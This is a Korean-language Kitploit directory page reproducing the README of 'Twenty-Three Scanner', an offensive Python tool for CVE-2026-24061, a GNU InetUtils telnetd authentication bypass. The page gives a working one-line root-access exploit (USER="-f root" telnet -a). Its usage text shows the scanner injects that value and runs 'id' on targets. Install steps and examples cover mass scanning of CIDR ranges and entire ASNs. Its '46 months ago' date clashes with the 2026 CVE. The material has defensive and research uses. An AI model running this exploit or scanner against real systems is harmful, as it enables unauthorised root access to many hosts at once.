Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/madfxr/twenty-three-scanner
ReconnaissanceVulnerability ScannersExploitationInformation GatheringNetwork SecurityPenetration Testing
GitHubmadfxr/twenty-three-scanner

Twenty-Three-Scanner

CVE-2026-24061 - GNU InetUtils Telnetd 원격 인증 우회

저장소 보기
46개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🛰️ Twenty-Three Scanner

Telnetd 서비스 중 CVE-2026-24061 취약점에 영향을 받는 서비스를 탐지하기 위한 강력하고, 빠르며, 우아한 스캐너입니다. 순수 Python 표준 라이브러리로 제작되었으며, 외부 의존성이 전혀 필요 없습니다.

License: MIT Python 3.x Android Windows macOS Solaris FreeBSD Linux Offensive Security Ethical Hacking CVE-2026-24061 GNU InetUtils Telnetd


🔗 목차

  • ⚖️ 라이선스
  • 🧩 기능
  • ☣️ 취약점 세부 정보
    • ⚡ 서비스 상태
    • 🧪 개념 증명 (PoC)
    • 💥 영향을 받는 버전
    • 🧵 패치된 버전
    • ⚔️ 공격 벡터
    • 🚨 CVSS 점수
  • 🛠️ 설치
  • 📜 사용법
  • 🎯 예제
  • ⚗️ 데모
  • 📖 참고 자료

🧩 기능

  • 🚀 고성능 스캐닝 – 구성 가능한 스레드 수를 지원하는 멀티스레드 아키텍처.
  • 🌐 유연한 대상 입력 – 단일 IP, CIDR 범위, ASN 조회 및 파일 기반 목록 지원.
  • 📊 실시간 진행 상황 – 라이브 진행률 표시줄이 포함된 아름다운 유니코드 기반 UI.
  • 🤖 ASN 인텔리전스 – RADB, BGPView 및 HackerTarget API에서 자동으로 프리픽스 가져오기.
  • 🌍 지리 위치 인텔리전스 – ipapi API에서 실시간 ASN, 제공업체 및 위치 정보 가져오기.
  • 💾 안전한 중단 처리 – 결과 자동 저장과 함께 CTRL+C 처리.
  • 📝 상세 로깅 – 디버깅을 위한 구성 가능한 상세 수준.
  • 🛡️ 안전한 스캐닝 – 대규모 스캔을 실수로 방지하기 위한 내장 제한 기능.
  • 🎨 깔끔한 출력 – 스캔 요약이 포함된 전문적인 테두리 테이블.
  • 📦 의존성 제로 – 순수 Python 3.x 표준 라이브러리만 사용.

☣️ 취약점 세부 정보

**CVE-2026-24061**은 GNU InetUtils **Telnetd**의 NEW-ENVIRON 옵션 처리를 악용하여 인증되지 않은 원격 공격자가 루트 액세스 권한을 얻을 수 있게 하는 심각한 인증 우회 취약점입니다.


⚡ 서비스 상태

다음은 대상 호스트 측의 Telnetd 서비스 구성입니다.

image


🧪 개념 증명 (PoC)

그리고 다음은 이 취약점에 대한 개념 증명(PoC)으로, 공격자 호스트에서 USER="-f root" telnet -a <TARGET_HOST> 23 명령을 실행하기만 하면 수동으로 실행할 수 있습니다.

image


💥 영향을 받는 버전

  • GNU InetUtils >=1.9.3 <=2.7.
  • 다양한 임베디드 Linux 배포판.
  • 취약한 Telnetd 구현이 포함된 IoT 기기.

🧵 패치된 버전

  • GNU InetUtils >=2.8.

⚔️ 공격 벡터

이 취약점은 텔넷 NEW-ENVIRON (RFC 1572) 옵션 협상에서 USER 환경 변수의 부적절한 검증을 악용하여, 공격자가 -f root와 같은 악성 값을 주입하여 인증을 우회할 수 있게 합니다.


🚨 CVSS 점수

9.8 (치명적) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.


🛠️ 설치

root@kitploit:~
# Clone the Repository
cd /opt
sudo git clone https://github.com/madfxr/Twenty-Three-Scanner.git
cd Twenty-Three-Scanner

# Make Executable
sudo chmod +x twenty-three-scanner.py

# Run the Script
sudo python3 twenty-three-scanner.py -h

📜 사용법

다음은 취약점 CVE-2026-24061 - GNU InetUtils Telnetd 원격 인증 우회를 탐지하는 데 사용할 수 있는 Twenty-Three Scanner 도구의 매뉴얼입니다.

root@kitploit:~
usage: python3 twenty-three-scanner.py [-h] [-t TARGET] [-f FILE] [-a ASN] [-p PORT] [--threads N] [--user-value VALUE] [--connect-timeout SEC] [--read-timeout SEC] [--id-timeout SEC]
                                       [--max-hosts-per-cidr N] [--max-total-hosts N] [--skip-large-networks] [-o FILE] [-v]

CVE-2026-24061 - GNU InetUtils Telnetd Remote Authentication Bypass

options:
  -h, --help            show this help message and exit

Target Options:
  -t TARGET, --target TARGET
                        target IP, CIDR, or comma-separated list (can be used multiple times)
  -f FILE, --file FILE  file containing targets (one per line, supports comments with #)
  -a ASN, --asn ASN     autonomous system number (e.g., AS10111 or 10111)

Scan Options:
  -p PORT, --port PORT  target port(s), comma-separated (default: 23)
  --threads N           number of concurrent threads (default: 50)
  --user-value VALUE    USER environment variable value for exploit (default: '-f root')

Timeout Options:
  --connect-timeout SEC
                        TCP connection timeout in seconds (default: 3.0)
  --read-timeout SEC    socket read timeout in seconds (default: 2.0)
  --id-timeout SEC      'id' command response timeout in seconds (default: 2.0)

Limit Options:
  --max-hosts-per-cidr N
                        maximum hosts to scan per CIDR block (default: 1024)
  --max-total-hosts N   maximum total hosts across all targets (default: 50000)
  --skip-large-networks
                        skip networks larger than /16 (avoids accidentally scanning huge ranges)

Output Options:
  -o FILE, --output FILE
                        save vulnerable hosts to file (format: IP:PORT)
  -v, --verbose         enable verbose debug logging

🎯 예제

다음은 명령 사용 방법에 대한 몇 가지 예제입니다.

root@kitploit:~
  # Scan Single IP Address, and Single Port
  sudo python3 twenty-three-scanner.py -t 10.0.0.23 -p 23

  # Scan Single IP Address, and Multiple Ports
  sudo python3 twenty-three-scanner.py -t 10.0.0.23 -p 23,2323

  # Scan Multiple IP Addresses, and Single Port
  sudo python3 twenty-three-scanner.py -t 10.0.0.23,10.0.23.23 -p 23

  # Scan Multiple Addresses, and Multiple Ports
  sudo python3 twenty-three-scanner.py -t 10.0.0.23,10.0.23.23 -p 23,2323

  # Scan CIDR Range, and Single Port with Results
  sudo python3 twenty-three-scanner.py -t 192.168.23.0/23 -p 23 -o results.txt

  # Scan CIDR Range, and Multiple Ports with Results
  sudo python3 twenty-three-scanner.py -t 192.168.23.0/23 -p 23,2323 -o results.txt

  # Scan Single IP Address, Multiple Addresses, or CIDR Range from File, and Single Port with Custom Thread and Output 
  sudo python3 twenty-three-scanner.py -f targets.txt -p 23 --threads 100 -o output.txt

  # Scan Single IP Address, Multiple IP Addresss, or CIDR Range from File, and Multiple Ports with Custom Threads and Output 
  sudo python3 twenty-three-scanner.py -f targets.txt -p 23,2323 --threads 100 -o output.txt

  # Scan ASN and Single Port with Custom Threads
  sudo python3 twenty-three-scanner.py -a 10111 -p 23 --threads 100
  sudo python3 twenty-three-scanner.py -a AS10111 -p 23 --threads 100

  # Scan ASN and Multiple Ports with Custom Threads
  sudo python3 twenty-three-scanner.py -a 10111 -p 23,2323 --threads 100
  sudo python3 twenty-three-scanner.py -a AS10111 -p 23,2323 --threads 100

  # Scan ASN with Custom Limits and Custom Threads
  sudo python3 twenty-three-scanner.py -a 10111 --max-hosts-per-cidr 2048 --threads 100
  sudo python3 twenty-three-scanner.py -a AS10111 --max-hosts-per-cidr 2048 --threads 100

⚗️ 데모

단일 IP 주소를 여러 포트로 스캔.

image

여러 IP 주소를 단일 포트로 스캔.

image

CIDR 범위를 단일 포트로 스캔.

image

ASN을 여러 포트로 스캔.

image

파일에서 단일 IP 주소, 여러 주소 또는 CIDR 범위를 스캔하고, 사용자 지정 스레드 및 출력으로 단일 포트 스캔.

image


📖 참고 자료

  • Critical GNU InetUtils telnetd Flaw Lets Attackers Bypass Login and Gain Root Access
  • NVD - CVE-2026-24061
  • CVE Record: CVE-2026-24061
  • Inetutils - GNU network utilities
  • [SECURITY] [DLA 4453-1] inetutils security update
  • GNU InetUtils Security Advisory: remote authentication by-pass in telnet
  • GNU InetUtils Security Advisory: remote authentication by-pass in telnetd
  • GNU InetUtils Security Advisory: remote authentication by-pass in telnetd
  • GNU InetUtils Security Advisory: remote authentication by-pass in telnetd
  • Re: GNU InetUtils Security Advisory: remote authentication by-pass in telnetd
  • Re: GNU InetUtils Security Advisory: remote authentication by-pass in telnetd
  • CVE-2026-24061 Telnet RCE Exploit - By SafeBreach Labs
도구 다운로드